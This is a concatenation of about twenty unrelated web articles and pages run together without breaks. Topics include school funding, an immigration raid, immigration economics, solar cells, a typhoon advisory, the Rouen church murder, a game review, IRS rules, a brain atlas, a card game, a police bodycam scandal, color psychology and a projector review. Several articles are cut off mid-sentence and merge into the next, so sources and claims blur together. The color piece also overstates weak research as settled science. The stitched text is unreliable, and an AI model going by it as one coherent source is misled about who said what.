Schools that perform best will get the most money; those that “fail” could be eliminated. In other words, those with the most troubled students or least experienced teachers or children who speak little English or with high percentages of learning disabilities—those are the schools most likely to be assigned less assistance, less investment, less hope. “Michigan’s future is dependent upon the education system,” says Michigan State Representative Jeff Irwin, who has called for funds taken from K-12 to be reappropriated. And to those in the Snyder administration who would prefer to squirrel the bulk of the surplus away for a rainy day, Peter Spadafore, who sits on Lansing’s school board, has a curt riposte: “It’s raining.”Federal agents raid tortilla factory in Houston's Heights neighborhood Federal agents conducted a raid at about 10 a.m. Tuesday, Aug. 4, 2015 at La Espiga de Oro tortilla factory at 1200 15th Street near Shepherd. Federal agents conducted a raid at about 10 a.m. Tuesday, Aug. 4, 2015 at La Espiga de Oro tortilla factory at 1200 15th Street near Shepherd. Photo: Cody Duty \| Houston Chronicle Photo: Cody Duty \| Houston Chronicle Image 1 of / 4 Caption Close Federal agents raid tortilla factory in Houston's Heights neighborhood 1 / 4 Back to Gallery Federal agents descended on a tortilla factory Tuesday morning in the Heights. The raid began about 10 a.m. at La Espiga de Oro at 1200 15th Street near Shepherd, said Gregory Palmore, a spokesman for Immigration and Customs Enforcement. Palmore said agents with Homeland Security and the Department of Labor served a criminal search warrant at the business. He said he could not reveal details about the case because the investigation is ongoing. Eleven workers from the factory were detained at the scene, Palmore said. He said they are expected to be questioned. No other information was available.Few areas of economics have provoked as much fruitful research as immigration, and while disagreements remain, there are at least a few things we can glean from that literature. Here are just a few of them. 1. It's really good for immigrants Undocumented immigrants line up outside a Los Angeles Deferred Action Application Event. (The Washington Post) File this one under "duh," but immigration is a great deal for immigrants, and an even better one than it was during previous eras of mass immigration. Lant Pritchett, a professor at the Harvard Kennedy School and author of Let Their People Come, a great book on the economics of immigration, produced this graph comparing wage gaps between immigrants' destinations and countries of origins in the 19th century to those gaps in more modern times: Source: Lant Pritchett In the 1870s, workers in Ireland could double their wages by coming to the United States. In the 1990s, workers in Guatemala could raise their wages sixfold by coming to the Unted States. In another study, the University of Wisconsin's John Keenan estimated that completely opening the borders would increase the average developing country worker's salary from $8,903 to $19,272 — more than double. 2. It's very good for the economy as a whole Open borders would increase GDP so much, everybody'll be throwing out fliff like they're sultans. (Brad Neely / Creased Comics Economists have tried to put a dollar figure on how much the world economy would grow if we just removed all immigration restrictions overnight. The answer: a lot. Angel Aguiar and Terrie Walmsley modeled the effects of three U.S. policy alternatives — full deportation of Mexican immigrants, full legalization and full legalization with increased border control — and found, unsurprisingly, that full deportation reduces gross domestic product and the others would add. Deportation reduces GDP by 0.61 percent, legalization with border control increases it by 0.17 percent and legalization without border control increases it by 0.53 percent. Pritchett, meanwhile, compared what open borders would do to world GDP, compared to completely free movement of capital and completely free trade with developing countries. It's not even close. Open borders increase world GDP by $65 trillion. Let me repeat that. $65 trillion — with a 't'. The others don't even come close: Source: Lant Pritchett 3. It increases innovation Russian-born Google cofounder Sergey Brin with the Google Goggles he helped create with his enormous foreign-born brain. (David Paul Morris / Bloomberg) Businessweek's Charles Kenny, who's also a fellow at the Center for Global Development, highlighted a slew of studies suggesting that high-skilled immigration is key to innovation in America. Foreign nationals living in the United States accounted for 25.6 percent of all patent applications and founded 26 percent of start-ups, including a majority of Silicon Valley start-ups. In addition, an increase in immigrants with higher education diplomas is associated with an increase in patenting. Charles Lin at Rutgers found that an expansion of high-skilled visas passed in 1998 increased revenue at affected companies by 15 percent. 4. The typical native-born worker probably benefits Vinod Khosla (left), an Indian-born entrepreneur, and Andy Bechtolsheim (third from left), a German-born entrepreneur, with, from left, Bill Joy, and Scott McNeely, their cofounders at Sun Microsystems and native-born Americans who they helped make exceedingly wealthy. (Source: Sun Microsystems) There's a lot of debate on this one. A 2010 white paper by Gianmarco Ottaviano, Giovanni Peri and Greg Wright found that less expensive immigrant labor has a "positive net effect on native employment." In another paper, Peri found that U.S. immigration from 1990 to 2006 increased real wages by 2.86 percent. Put together, Peri's research forms the strongest basis for arguing that immigration increases wages for native-born American workers. Patricia Cortes at Unviersity of Chicago has confirmed his findings, Heidi Sheirholz at EPI and Raúl Hinojosa-Ojeda at the Center for American Progress, similarly, have found across-the-board gains from immigration (or, in the latter case, comprehensive immigration reform) to wages. George Borjas and Lawrence Katz, two Harvard labor economists who tend to be more skeptical of the benefits from immigration, beg to differ. Between 1980 and 2000, U.S. workers saw their wages fall in the short-run by 3.4 percent due to immigration. In the long-run, the economy adjusts such that the overall effect is minimal, but the short term figures are still a cause for concern. Unsurprisingly, Peri and Ottaviano dispute Borjas and Katz's methodology. They argue that Borjas and Katz inaccurately assume that U.S. and foreign workers are perfect substitutes. That's a problematic assumption, since immigrants tend to do a different kind of labor, one which might not even exist in their absence. "[Immigration opponents] say 'we Americans could do the job!' but they don’t say 'we’ll do the job at a significantly higher price at which the job wouldn’t exist,'" said Jagdish Bhagwati, a trade and immigration economist at Columbia and the Council on Foreign Relations. Borjas and Katz also neglect the indirect benefits that immigration provides to all groups through increasing growth. But even taking Borjas and Katz at face value, the two groups' estimates aren't that far off from each other when you look at the long-run, as this chart from Michael Greenstone and Adam Looney at the Hamilton Project shows. Everyone agrees that high school grads and people with some college benefit in the long run and despite their short-run estimates, even Borjas and Katz show a mildly positive overall effect in the long run. The dispute is about what happens at the low-end. 5. Low-skilled immigrants probably don't see any effect Frank Sobotka used to make stuff in this country, build stuff. Now he just takes from the other guy's pocket. (Larry Riley / Courtesy HBO's "The Wire".) That's what Peri's findings say above, and they're confirmed in two notable studies, by David Card and Rachel Friedberg, which found that the Mariel boatlift (which brought upwards of 100,000 immigrants to Miami in 1980) and the early 1990s Russian Jewish migration to Israel, respectively, did not decrease native employment or wages. Both were big events. The boatlift increased Miami's population by 7 percent, and the Russian migration increased Israel's population by 12 percent. The advantage of these studies is that they isolate what economists call a "supply shock" to labor. All of the sudden, for reasons unrelated to other factors in the economy, the supply of labor increased. That makes it easier to determine what that shock's effects are, because it's not itself caused by other factors in the economy. This increased Card and Friedberg's confidence that there really wasn't an effect on wages from the sudden influx of immigrants. But other studies have found this as well. Peri argues that while low-skilled native workers suffer due to liberalized immigration in the short-run, they aren't affected in the long-run. Of course, Borjas, Katz and other skeptics argue that low-skilled immigration very clearly reduces wages and employment for low-skilled American workers. The issue is, as yet, unresolved. But the consensus view among economists is that the effect, even if negative, is negligible.TOKYO (Reuters) - Japanese electronics conglomerate Sony Corp (6758.T) said on Sunday it has developed dye-sensitized solar cells with an energy conversion efficiency of 10 percent, a level seen necessary for commercial use. Dye-sensitized solar cells, which use photosensitive dye and do not require costly and large-scale production equipment, are seen as a promising next-generation solar cell variety and potential threat to silicon-based solar cells. Germany’s Q-Cells QCEG.DE and Japan’s Sharp Corp (6753.T) are leading manufacturers of silicon-based solar cells. Sony’s dye-sensitized solar cell operations are still in the research and development stage and nothing has been decided on potential commercialization, a company spokesman said. Global sales of solar cells are growing briskly due to higher oil prices and strong demand for renewable energy. Sharp expects its solar cell sales to rise 19 percent in the current business year to March 2009 to 180 billion yen ($1.74 billion).To be locally named 'Ambo', the tropical depression will affect Davao, Caraga, and Eastern Visayas regions, according to state weather bureau PAGASA Published 7:25 PM, June 24, 2016 MANILA, Philippines – The Philippine Atmospheric, Geophysical and Astronomical Services Administration (PAGASA) is monitoring a low pressure area (LPA) that is expected to be the first tropical depression to enter the country in 2016. The LPA was estimated at 1,430 kilometers east of Mindanao as of 4 pm, Friday June 24, the state weather bureau said in an advisory released at 5 pm. To be locally named "Ambo," the tropical depression is expected to enter the Philippine area of responsibility (PAR) within 24 hours, according to PAGASA weather forecaster Aldczar Aurelio. Ambo will affect Davao, Caraga, and Eastern Visayas regions, Aurelio added. According to PAGASA, the LPA is embedded along the Intertropical Convergence Zone (ITCZ) which will bring light to moderate rains and thunderstorms over the Visayas, Mindanao, and Mimaropa on Saturday, June 25. Isolated rainshowers or thunderstorms will prevail over Metro Manila and the rest of Luzon. Light to moderate winds blowing from southwest to southeast are expected in Luzon and Western Visayas and coming from the southwest to variable over the rest of the country, PAGASA said. Meanwhile, National Disaster Risk Reduction and Management Council (NDRRMC) chief Undersecretary Alexander Pama said his office will conduct a pre-disaster risk assessment in consultation with PAGASA and other agencies on Saturday, June 25. – Rappler.com What's the weather like in your area? Post weather, flood, and other critical alerts on the Agos map.Image copyright Catholic Diocese of Rouen HO Image caption Mr Coponet said even as he was dying, Fr Hamel (above) blamed an evil ideology rather than his killers An elderly man left for dead by two jihadists at a church in the French city of Rouen has spoken of the terrifying ordeal for the first time. Guy Coponet was forced by the killers to film the murder of 85-year-old Fr Jacques Hamel inside the church at Saint-Etienne-du-Rouvray. "I had to film my friend Father Jacques's murder! I can't get over it," said the 87-year-old parishioner. Mr Coponet was himself stabbed several times, including once in the throat. He had to wait 45 minutes for help and told the Famille Chretienne (Christian Family) website he had been very lucky to survive. "The emergency medic who treated me told me 'you had divine protection because the knife attacks missed your vital organs. But it really wasn't far away - it's like a miracle'." He, his wife Janine, and three nuns had been attending Fr Hamel's service when the two Islamist militants burst into the church. Who were the attackers? Image copyright Getty Images Image caption Pope Francis said Fr Hamel was on his way to sainthood Adel Kermiche and Abdel-Malik Petitjean, both 19, were known to French security services. Their attack was claimed by so-called Islamic State (IS). Kermiche was awaiting trial on terror charges and had to wear an electronic tag, although not during the morning. Petitjean was on the French security services' S-list for suspects considered a security threat. He had travelled from the south-east Savoie region to carry out the attack. Both were shot dead by police. What we know about French church attack Tributes paid to murdered French priest How France is wrestling with jihadist terror Mr Coponet described how he had been forced to hold a camera for the killers, who checked on the quality of the images they planned to post on social media. Media playback is unsupported on your device Media caption A nun who was in the church has described the horror of the attack He told French TV on Thursday that Fr Hamel had tried to fend his attackers off right to the end, crying out "Satan, get out of here, get out, Satan". However, he was convinced that even at that moment the priest was not condemning the young jihadist killing him. "They were in the grip of evil, it's a bit like a sect," he said. Earlier this month Pope Francis said Fr Hamel was a martyr and already on his way to becoming a saint. "He accepted his martyrdom there on the altar," he said. Guy Coponet still suffers from the wounds he sustained on 26 July. He has a deep scar on his throat and had trouble swallowing. His wife Janine said she was convinced at the time that he had died. The church at Saint-Etienne-du-Rouvray is due to re-open at a ceremony on Sunday.Astronomy Picture of the Day Discover the cosmos! Each day a different image or photograph of our fascinating universe is featured, along with a brief explanation written by a professional astronomer. 2014 March 3 Explanation: Is Earth the only known world that can support life? In an effort to find life-habitable worlds outside our Solar System, stars similar to our Sun are being monitored for slight light decreases that indicate eclipsing planets. Many previously-unknown planets are being found, including over 700 worlds recently uncovered by NASA's Kepler satellite. Depicted above in artist's illustrations are twelve extrasolar planets that orbit in the habitable zones of their parent stars. These exoplanets have the right temperature for water to be a liquid on their surfaces, and so water-based life on Earth might be able to survive on them. Although technology cannot yet detect resident life, finding habitable exoplanets is a step that helps humanity to better understand its place in the cosmos.35User Rating: 3 out of 5 Review title of KOE Kaizen Wont connect to server Barely started playing the beta a couple days now, as of yesterday it wont even connect to the server. Game isnt even out yet, i cant even do anything with it now and it is just wastefully taking up over 16gbs of data on my hard drive. Fun Beta while it worked and I enjoyed playing it with with other players as immediately off the bat after the tutorial I had many requests from players that wanted to play with me, i enjoyed being able to replay old missions with players of lower level. Hence why I gave the Beta for Steep 3 Stars and not 1 Star after the Beta has crashed and stopped playing on my xbox one.. What an inconvenience... I'm gonna try uninstalling and Reinstalling the Steep Beta to see if that fixes whatever the issue this game is having. Of all the games I've ever tested for such as Ark: Survival Instinct, World Of Warcraft, Mass Effect 3, Halo 2, and many other games of the years, this is the first to have just completely stopped working for me. 😢WASHINGTON -- The Treasury Department and Internal Revenue Service announced on Tuesday new guidelines clarifying the definition of political activity for nonprofit organizations. The new rules, which still face many procedural hurdles, would limit the political activities of nonprofit organizations and help prevent political actors from using these groups to provide anonymity to donors. Since the Supreme Court's 2010 Citizens United ruling, nonprofit organizations, particularly social welfare nonprofits organized under section 501(c)(4) of the tax code and trade associations organized under section 501(c)(6), have radically increased their reported political spending. In 2012, these groups reported to the Federal Election Commission spending in excess of $300 million. That was up from $69 million in 2008 and nearly $
labor intensiveness of doing this, it always lives in the scale of a single brain,” Lein says, “and you really go to town in trying to understand everything you can about that one individual. ” Matthew Glasser of Washington University School of Medicine, who was part of the Human Connectome Project effort but was not involved with the present study, calls the brain atlas “impressive,” particularly on a neuroanatomical level, but points out that it may be difficult to generalize the information from one individual. “The thing that's a challenge is relating a single brain like this that's very intensively studied to other brains,” he says. Nevertheless, the effort marks a substantial advance in our understanding of brain anatomy. “There simply hasn't been a complete map of the human brain as a reference piece of material for anyone studying any part of the brain,” Lein says, “and this is a completely essential part of doing research.”You'll need an HTML5 capable browser to see this content. Play Replay with sound Play with sound 00:00 00:00 Want a deeper look? Watch the video below! What is Squarriors: The Card Game? Squarriors TCG is a tabletop card game developed by the indie game company, Cold War Incorporated. It features the licensed work of the Squarriors comic book series created by Ash Maczko and Ashley Witter. What makes Squarriors TCG different from other card games? Squarriors TCG has no deck of cards to draw from; all of your cards start in play or in your hand. Squarriors TCG offers many different ways to attack or undermine your opponent, including: Stealth Attacks: Use your spies and assassins to infiltrate the enemy and kill high valued targets. Manipulation Attacks: Use cunning and persuasion to convince creatures of another tribe to join you. Dominance Attacks: Send in a full army to demolish your enemy. Leadership Challenges: Weaken your opponent's Morale, Influence, or Discipline by a display of leadership and will. All cards in Squarriors TCG have multiple purposes. Tactic cards, after they have been played, have additional function when added to your strategy chains. Management of your strategy chains is a key part of winning. Do I have to buy booster packs? No. The original core set of the game, and all future expansions, will be sold as complete sets. What's in a "set" of Squarriors: The Card Game? A box contains a rule book, 3 dice, 27 unique creature cards, 20 unique domain cards, 21 recruit cards, and 3 copies of each of the 52 unique tactic cards, for a total of 224 cards. Each box has enough cards to make several Tribes, though it is recommended that each player has their own set, since there is only 1 copy most cards. NOTE: These numbers may be adjusted slightly for the final version of the game. How many people can play Squarriors TCG? The game requires a minimum of 2 players, but can support an unlimited amount of players in one game. A game between 2 experienced players will take anywhere from 30 to 60 minutes. Although, games between veteran players, with strong strategies and tribes, could last longer than an hour. How do you play? Squarriors TCG is a turn based strategy game. Each of your creatures starts in play at any one of your 3 domains. Each domain allows the creatures there to preform a different type of attack/challenge (Dominance, Stealth, Manipulation, and Leadership). During your turn you play tactic cards from your hand, use your creature's abilities, and do various types of attacks in order to weaken your opponent's domains. When you have destroyed 2 of your opponent's 3 domains, you win! Important Links: Squarriors Twitter Cold War Twitter Ash Maczko Twitter Squarriors TCG Squarriors Comic Book Squarriors TCG Facebook Squarriors Facebook Cold War, Inc Want to see more? Watch this goofy video: (some language may not be safe for work, or children, or anyone.)Colorado Rapids has appointed Richard Clarke as Senior Director of Communications and Digital Media. The Englishman, 45, arrives from Arsenal FC where he spent a highly-successful 13-year spell as Managing Editor for the Arsenal Media Group. Clarke is the latest in a number of key off-field appointments over the winter, including Claudio López (Director of Soccer) and Pádraig Smith (Sporting Director). His role will be to lead the Rapids’ communication strategy and manage its digital properties. Clarke led editorial development at Arsenal across all areas - digital, video/TV, social media and printed publications. Under his guidance, Arsenal.com became one of the world’s leading football club websites, picking up numerous awards. In addition, his team built a global digital fan-base of 42 million across all social media platforms. An experienced journalist, Clarke worked for The Times and Daily Telegraph before joining Arsenal. However, his first job was replacing Richard Fleming, now Rapids’ Senior Director of Broadcasting and play-by-play announcer, on the Aldershot News, a provincial newspaper, back in 1994. “We are delighted to bring a person of Richard’s caliber to Colorado,” Rapids President, Tim Hinchey, said. “He has built an excellent reputation during his time at Arsenal, who are one of the world's leading clubs in digital media, and we hope we can benefit from his experience. "Over the offseason, we have brought in many new players but the likes of Claudio, Pádraig and now Richard really strengthen our Front Office too. It illustrates the support that ownership has given us and shows we’ll be a strong organization, on the pitch and off it, in 2015." Clarke moves to Denver this week with his wife and two children. We would like to welcome them all to the Rapids family. * You can find Richard on Twitter @RichAtTheRapidsRARE BEAST: Jem Aviation technician Dick Veale works on reassembling the Focke Wulf Fw190 for the Classic Fighters Airshow in Blenheim during Easter. A vintage Ferrari of the skies is being reassembled at Omaka Aviation Heritage Centre at Blenheim. The Focke Wulf Fw190 should be airworthy and ready to face off against its rival, the Supermarine Spitfire, at the Classic Fighters Airshow at Omaka Airfield during Easter weekend. The Fw190 was a Luftwaffe workhorse fighter introduced in 1941 and used over France and Russia. The Spitfire, flown by the Royal Air Force, was the only aircraft to be a frontline fighter from the outbreak of the war to its conclusion in 1945. Airshow organiser Graham Orphan said the Fw190 arrived in Marlborough on Tuesday fresh off a boat from Germany and will be the only one of its kind flying in the southern hemisphere. The Fw190 in Blenheim will be based at Omaka indefinitely and is owned by an African-based Kiwi. The Fw190 was introduced operationally over France in August 1941. This model is a replica, built in Germany, and when it took to the air in 2004 it was the first time a Fw190 had flown since the end of World War II. The plane was then disassembled and several copies made. It was put back together during the past two years and as soon as it was finished it was packed up and sent to Omaka, "We're thrilled to bits; any time you're getting something transported around the world you're dealing with vagaries, delays of shipping and with things not going to plan. "If it was any closer to Easter we'd be chewing our fingernails pretty badly." An Auckland pilot was keen to get in the cockpit as soon as it was given the tick to fly by the Civil Aviation Authority, he said. "He's fizzing to get himself into this thing. "Most of the aircraft we operate are like Corollas through to Commodores – something like this is really a Ferrari, so any pilot worth his salt would want to get his backside into one." The Fw190 will be accompanied at the airshow by two Spitfires – the first time two will take to the sky at the show.A day after bodycam footage that appears to show a Baltimore Police officer planting drugs made national news, Baltimore City State's Attorney Marilyn Mosby called a press conference to offer her office's account of how this went unnoticed until days before the case was set to go to trial. The timeline tracks with the statement the SAO released yesterday: A man was indicted on drug charges on February 21. The first appearance in court occurred March 31. On April 17, evidence was handed over in discovery, including the 10 body camera videos, ranging from 34 minutes to a couple hours, provided by the BPD. The assistant state's attorney offered a plea deal for the one heroin pill found on the man by officers on July 6. Almost a week later, about 11 p.m. on July 12, the man's attorney at the Office of the Public Defender flagged the video that showed an officer putting a bag of drugs into a can, walking out to the street, and then coming back to "discover it." Following protocol, the prosecutor ran it up to the chain to their supervisor, and they decided to drop all charges. The SAO then alerted internal affairs at the police department, and they started reviewing cases involving the three officers seen in the video, who were identified by the Office of the Public Defender as Richard Pinheiro, Jamal Brunson, and Hovhannes Simonyan. Mosby said they've so far identified 100 cases and are reviewing them. The obvious question that remained unanswered: How did this get missed for so long? Mosby said that everyone—the BPD, the public defender, and the SAO—had the videos for three months and they all missed it. But once the the portion where the officer placed the baggy in a soup can was seen, her office acted accordingly, she said. "I think the protocols that are in place are sufficient," she said. Reporters asked about the one case where Pinheiro was called to the stand, before the video was mad public. Deputy State's Attorney Janice Bledsoe said that, according to the supervisor of the District Court, Pinheiro was asked about the video on the stand and denied planting the drugs. Some, including Commissioner Kevin Davis, yesterday suggested that Pinheiro was maybe re-enacting a discovery, which Davis noted is also a problem. Sandra Goldthorpe, who's in charge of evidence review for the SAO, was asked if she had ever seen a body camera video showing an officer re-enacting something at a crime scene. "This is actually the first time this situation has come up," she said. In a statement sent out this afternoon, the Office of the Public Defender argues the SAO is not acting swiftly enough on the 100 cases involving the officers. "The State's Attorney has a well-established constitutional obligation to disclose information that challenges the credibility of its officers. The Constitution does not build in any exception for delay," said Debbie Katz Levi, head of the Baltimore Public Defender’s special litigation section. "Once the State's Attorney's Office was aware of the video, the prosecution needed to swiftly disclose it in all other open cases, which Mosby acknowledges are about 100. At a minimum, they should have immediately informed defense counsel, considered releasing defendants, and requested a postponement in every case involving these officers."Takeaway: Color can profoundly affect how productive you are. Research has shown that blue colors affect your mind; yellow your emotions; red your body; and green your ‘balance’. By combining these colors you can influence your behavior. : Color can profoundly affect how productive you are. Research has shown that blue colors affect your mind; yellow your emotions; red your body; and green your ‘balance’. By combining these colors you can influence your behavior. Estimated Reading Time: 5 minutes, 40s. I recently spoke with world-renown color psychologist Angela Wright to explore exactly how color impacts your productivity, and how you can use color to become more productive. Here is everything I learned. How color affects your behavior (the science-y part) Angela Wright is a world-renown color psychologist who has developed a scientifically-tested theory of color named the color affects system. She has also written a popular book on color psychology, and consulted for a wide range of companies like Shell, Motorola, Proctor and Gamble, British Telecom, The Body Shop, and Unilever. Angela has been studying how color affects a person’s behaviour for about 40 years, and it’s safe to say that if there’s anyone who knows color, it’s her. She also has one of the most awesome English accents I’ve ever heard, but that’s beside the point. Angela’s work has shown that while a person’s personality affects how they interpret color, color influences everyone universally, and on a very basic level, color is deeply scientific. “We’re always surrounded by lots of colors. Color travels to us on wavelengths of photons from the sun. And when they strike a colored object, that object absorbs only the wavelengths that match its own atomic structure, and they reflect the rest, and that’s what we see. So the different wavelengths strike the eye in different ways. In the retina, they are converted into electrical impulses that pass to the part of the brain known as the hypothalamus, which governs our endocrine system and hormones, and much of our activity.” Took the words right out of my mouth. The bottom line: color profoundly affects your behaviour. How color impacts your productivity Interestingly, Angela mentioned that it is not a color itself that affects your behaviour. Her research has shown that it’s how intense a color is that affects how you respond to it. “What defines whether a color is stimulating or soothing is not the color, it’s the intensity. A strong bright color will stimulate, and a color with low saturation will soothe.” I put together the picture below to illustrate this concept. The colors on the left are highly-saturated versions of blue, yellow, red, and green (which you can combine to make any other color except white and black), and they’re much more stimulating then their respective lowly-saturated counterparts on the right. Research has also shown that each color affects a different part of us. (And this isn’t a feng shui thing or anything like that, this is pure science, baby.) “The four psychological primaries are: red, blue, yellow, and green. And they affect the body (red), the mind (blue), the emotions, the ego, and self-confidence (yellow), and the essential balance between the mind, the body, and the emotions (green).” Interestingly, when you combine more than one color, you get the effects of both of them. For example, if you combine a highly-saturated yellow with a highly-saturated blue, you will get a color that stimulates both your emotions (yellow) and mind (blue). The exact color to paint your office to become the most productive Blue If you Google “the most productive color”, every result seems to suggest that blue is the most “productive” color. Angela called this an “oversimplification”. If you need to stimulate your mind, then yes, blue would likely make you the most productive. “If you’re an accountant, blue probably would make you more productive. But not everybody is an accountant.” If you do mind-work all day, Angela recommends painting your office blue, but spicing it up with a bit of orange so that you introduce a bit of emotion into your mind-stimulating room. “If you have a blue office, you need to put a bit of orange in there to introduce a bit of balance, a bit of emotion, so that you’re not a cold bureaucrat.” Yellow “If you’re a designer, and you want creativity, blue isn’t going to be the color for you. Yellow is a better color”, because it stimulates your ego and spirits, and makes you more optimistic. “It takes guts to be creative and come up with something new – that’s why yellow works in that environment.” Red If you want to be more productive doing something physical, red would make you more productive than either blue or yellow, because it stimulates you physically. If you’re hiring a bunch of guys to build you a house, for example, “blue isn’t going to be a lot of help to you – you want the red for physical strength and stimulus”. Green If you’re in an environment where having a strong sense of balance is the most important, green might just be the color that makes you the most productive. As well, “because it’s so balanced, calming, and reassuring, it’s great to use around anywhere money’s changing hands”. On the flip side, though, “it can be very stagnant and inert”, so an “action man, who loves red, is going to find green quite a strain”. Which shade should you go with? To determine which color to paint your surroundings, first narrow down which main color (or combination of colors) will work the best in your situation by deciding whether you want to affect your mind, emotions, body, or balance. Then, pick a specific hue of that color. Naturally, keep in mind whether you want the color to stimulate or soothe you, by picking either a highly-saturated or lowly-saturated hue. Angela provided me with some advice for picking the right shade after that. “The best advice I can ever give anybody in general is to point out that we were all born with a very accurate sense of color in general, and our kind of color in particular. If we hadn’t, we wouldn’t have survived evolution as we did.” As an example, evolution has taught us that green is a stable, balanced color – it is the sign of life and vitality, after all – and it is one of the reasons we see green as such a ‘balanced’ color. Interestingly, at the same time, color is both very scientific and very personal. Angela recommends going with your gut, but only after determining which part of you that you’d like to affect. “Actually – you will know the colors that make you feel the most productive. It is different for everybody.” Another tip: colors hardly ever exist in isolation; they’re usually surrounded by other colors. “Color works exactly the same way as music – as Thelonius Monk said, ‘there are no wrong notes’. Music and color work in the same way. There are no wrong colors either. It’s how you use them.” A color or musical note “doesn’t actually evoke much of an emotional response until it’s put with other colors, or other notes. And then, in both cases, whether you get a positive or negative emotional reaction depends on the relationship between the colors or the notes.” “I cannot think of any circumstances in which we would be confronted by one color in isolation.”Brookstone announced a new device Monday morning that allows you to project images up to 50 inches diagonally onto any surface using your iPhone. It is called the Brookstone Pocket Projector for iPhone 4/4S by Texas Instruments DLP and I’ve spent the last week using it. I’m definitely impressed by the product, which slides onto an iPhone much like any other case, but is it worth the hefty $230 price Brookstone is asking? Read on for my review. Hardware The Brookstone Pocket Projector is bulky but it serves two purposes. It can project an image onto any surface, or its 2,100 mAh battery can be used to charge your iPhone. The size of the device reminds me a lot of a Mophie Juice Pack for the iPhone. It’s just skinny enough to squeeze in a pocket, but for $229.99, I wish it came with its own protective carrying case to be used when the projector isn’t connected to the iPhone. The actual 15-lumen LED-lit projector lens is on the top of the case near the iPhone’s headphone jack. It is capable of projecting a 640 x 360-pixel resolution image up to 50-inches in size. The case easily slid onto my iPhone 4S, and I liked that it had its own 0.5 watt speaker on the outside. The unit can be turned on by holding a small button to the on/off position for about three seconds. If you move the same button to the “Charge” position, it will charge your iPhone and turn off the projector. The Good The Brookstone Pocket Projector is amazing. You may remember when AT&T and LG launched the eXpo projector phone a few years ago. It didn’t take off because there wasn’t a whole lot that you could project and it didn’t really make sense at the time. The iPhone, however, has access to tons of video content, which means you can use the Pocket Projector to display Netflix, YouTube videos, rented or purchased movies, recorded home videos and more. If you happen to own an iPhone 4S, the projector can mirror everything that you do on your iPhone. You can use it, for example, to show off photos, browse the web and more. The projector is very easy to use. All you have to to do is plug your iPhone into the device and turn on the projector. That’s it. An iPhone 4S will begin mirroring and an iPhone 4 will automatically start projecting whenever you open a video application. When I opened Netflix, the screen was already visible on my wall and the same went with my videos. Anyone can use the device without an instruction manual. I loved watching Woody Allen movies with the Pocket Projector on my bedside table. It was even fun playing quick YouTube videos on my ceiling. I was able to get through a full movie just fine, and there’s small dial on the top of the unit for adjusting the focus on the fly. It’s a bit hard to do with one hand and without fumbling, so the dial could be a bit looser, but it worked. Your friends, family and co-workers will definitely get a kick out of the projector. Everyone I showed the device to was blown away by the picture and how such a big image could be projected from such a small device. The Bad I don’t have a ton of complaints about the Pocket Projector. My biggest is that 15-lumens actually isn’t that bright, so I couldn’t display videos clearly with even a modest amount of light in a room. I had to close every curtain and turn off every light just to be able to see the picture. At night, however, the Pocket Projector worked great and video was clear from across the room. I do wish it was possible to project HD video instead of a 640 x 360-pixel image, but really I found that resolution to be satisfactory. It’s incredible how powerful the Pocket Projector is for its size. I was also frustrated by the miniUSB charging port. Most gadgets take advantage of the microUSB standard, and the miniUSB port meant I had to keep an extra charger around. Conclusion If you’re a business traveler with an iPhone 4S looking for an accessory that will let you display presentations in meetings or videos in empty hotel rooms, the Brookstone Pocket Projector should be a no-brainer. At $229 it’s a bit of an expensive accessory for just keeping around your house for entertainment purposes, but if you have the extra cash to spend and want to show-off the latest mobile DLP tech from Texas Instruments to friends, it’s definitely a fun and unique purchase. TI told me that we can expect a smartphone with its DLP technology built-in sometime in early 2012, and I can’t wait to see what that’s like. It may seem that a smartphone with a projector in it is a gimmick, but now that our smartphones have access to tons of media, not to mention our entire lives, products like the Pocket Projector are more compelling than ever. Brookstone’s Pocket Projector will be available for purchase in Brookstone stores around the country beginning later this week for $229.99.There’s no mystery as to why the notion of multiple personalities has such cultural resonance. For one thing, it’s a notion that rings true in the sense that we all, at times, feel torn between conflicting thoughts or motivations. For another, accounts of people said to be afflicted — patients allegedly cycling between dozens of independent personalities existing inside their own minds — are rather jaw-dropping to read about. Much of the public’s conception of what used to be known as multiple personality disorder stems from both Flora Rheta Schreiber’s 1973 nonfiction book Sybil, which tells the tale of a psychiatrist, Cornelia B. Wilbur, and her attempts to treat “Sybil” (eventually revealed to be Shirley Ardell Mason), a patient with MPD, as well as the blockbuster made-for-TV movie that sprang from it. As a new Retro Report shows, Sybil caused a little-known condition to quickly explode into a national hysteria. Soon, thousands of patients were being diagnosed with MPD, and the national fixation with the disorder bled into other cultural panics, such as “recovered” memories detailing sexual abuse, sometimes related to alleged Satanic cults. And it wasn’t just daytime talk-shows spreading these fears and ideas: The psychological and psychiatric Establishments, too, soon began peddling a lot of science that, in retrospect, wasn’t entirely sound. It’s a fascinating short film and worth watching:Minister beaten after clashing with Muslims on his TV show A Christian minister who has had heated arguments with Muslims on his TV Gospel show has been brutally attacked by three men who ripped off his cross and warned: ‘If you go back to the studio, we’ll break your legs.’ The Reverend Noble Samuel was driving to the studio when a car pulled over in front of him. A man got out and came over to ask him directions in Urdu. Mr Samuel, based at Heston United Reformed Church, West London, said: ‘He put his hand into my window, which was half open, and grabbed my hair and opened the door. Frightened: TV minister Noble Samuel He started slapping my face and punching my neck. He was trying to smash my head on the steering wheel. Then he grabbed my cross and pulled it off and it fell on the floor. He was swearing. The other two men came from the car and took my laptop and Bible.’ The Metropolitan Police are treating it as a ‘faith hate’ assault and are hunting three Asian men. In spite of the attack, Mr Samuel went ahead with his hour-long live Asian Gospel Show on the Venus satellite channel from studios in Wembley, North London. During the show the Muslim station owner Tahir Ali came on air to condemn the attack. Pakistan-born Mr Samuel, 48, who was educated by Christian missionaries and moved to Britain 15 years ago, said that over the past few weeks he has received phone-in calls from people identifying themselves as Muslims who challenged his views. ‘They were having an argument with me,’ he said. ‘They were very aggressive in saying they did not agree with me. I said those are your views and these are my views.’ He said that he, his wife Louisa, 48, and his son Naveed, 19, now fear for their safety, and police have given them panic alarms. ‘I am frightened and depressed,’ he said. ‘My show is not confrontational.’We are actually witnessing an erosion of protections of women and children in abusive relationships. Policies that reflect social biases paint women as “vindictive” liars, combine with the efforts of both alleged abusers to fight to regain control of their wives and children and fathers’ rights proponents are harming women and children trying to escape abuse. This article was updated at 1:44 pm EST to insert a missing paragraph. When do reproductive rights end? Do they end at birth? Do they continue throughout a child’s life? Do reproductive rights extend to parental rights? These are questions we are just starting to ask. And finding the answer can be, in many cases, the difference between life and death. Most agree that women have a right to control their own bodies. However, recent research shows that some men sabotage women’s use of birth control and some use coercion to get a woman pregnant. Abusive men use these tactics to control women. And in cases where a woman then has children in an abusive setting, what are the woman’s reproductive rights and how do these 